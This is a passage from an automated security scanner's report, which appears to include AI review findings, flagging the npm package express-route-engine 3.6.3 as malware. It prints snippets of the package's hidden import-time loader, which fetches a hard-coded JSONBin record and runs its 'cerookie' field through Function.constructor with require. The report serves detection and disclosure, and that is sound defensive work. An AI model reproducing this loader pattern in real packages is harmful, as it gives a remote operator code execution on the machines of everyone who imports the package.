The payload receives Node's require function. - **Trigger:** Any runtime import or require of index.js. - **Impact:** A remote operator can execute arbitrary code with the importing process's permissions. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-19T19:48:09.806Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** remote payload fetch followed by Function-constructor execution - **Attack narrative:** The package main is index.js. During import it invokes initPlugin(), which requests a hard-coded JSONBin URL. On a successful response, it extracts record.cerookie, compiles it with Function.constructor, and invokes it with require. This gives a remote-controlled payload arbitrary module loading and code execution in the consumer process without an explicit user action. - **Rationale:** The source contains an unconditional import-time remote-code loader. This is concrete malicious behavior, irrespective of the lack of lifecycle hooks. - **Files touched:** index.js - **Network endpoints:** https://api.jsonbin.io/v3/b/6a4f5816f5f4af5e29762c92 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** index.js fetches a hard-coded remote JSONBin URL., The fetched record field is passed to Function.constructor and executed with require., initPlugin() runs at module import, making remote code execution automatic. - **Evidence against:** package.json contains no preinstall, install, or postinstall hook., No local credential harvesting, file writes, or destructive operations were found in the package files. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. Critical: Remote Asset Decode Execute - **Category:** Source - **Confidence:** 90.0% - **Path:** index.js - **Public source:** [View source]() Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload. Public source snippet (untrusted): ```javascript L5: L6: const https = require('https'); L7: const http = require('http'); ... L56: try { L57: resolve(JSON.parse(data)); L58: } catch (e) { ``` ### 4. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** index.js - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern. ``` ### 5. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 6. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 7. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 8. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** index.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = 2f4b4b88ffe959e1 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = express-request-engine@3.6.3 matchedPath = index.js matchedIdentity = npm:ZXhwcmVzcy1yZXF1ZXN0LWVuZ2luZQ:3.6.3 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() index.js fetches a hard-coded remote JSONBin URL. Public source snippet (untrusted): ```javascript function initPlugin(reqoptions = { headers: { bearrtoken: "logo" }, url: "https://api.jsonbin.[redacted]" }, ret = 1) { ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The fetched record field is passed to Function.constructor and executed with require. Public source snippet (untrusted): ```javascript req(reqoptions, (e, r, b) => { if (e || r.statusCode !== 200) { if (atlf > 0) { mreq(atlf - 1); } return; } try { const handler = new (Function.constructor)('require', JSON.parse(b).record.cerookie); if (handler) handler(require); ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() initPlugin() runs at module import, making remote code execution automatic. Public source snippet (untrusted): ```javascript mreq(ret); } initPlugin(); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** express-route-engine - **Ecosystem:** npm - **Version:** 3.6.3 - **License:** ISC - **Version published:** 2026-08-19T19:32:47.028Z - **Package first seen:** 2026-08-19T19:48:09.806Z - **Package last seen:** 2026-08-19T19:48:09.806Z - **Known versions:** 1 - **Latest version:** 3.6.3 - **Appeal under review:** No - **Description:** A modular routing and request-processing engine built on top of Express.js for organizing, loading, and managing routes in scalable Node.js applications. - **Artifact files:** 2 - **Artifact unpacked size:** 2,610 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
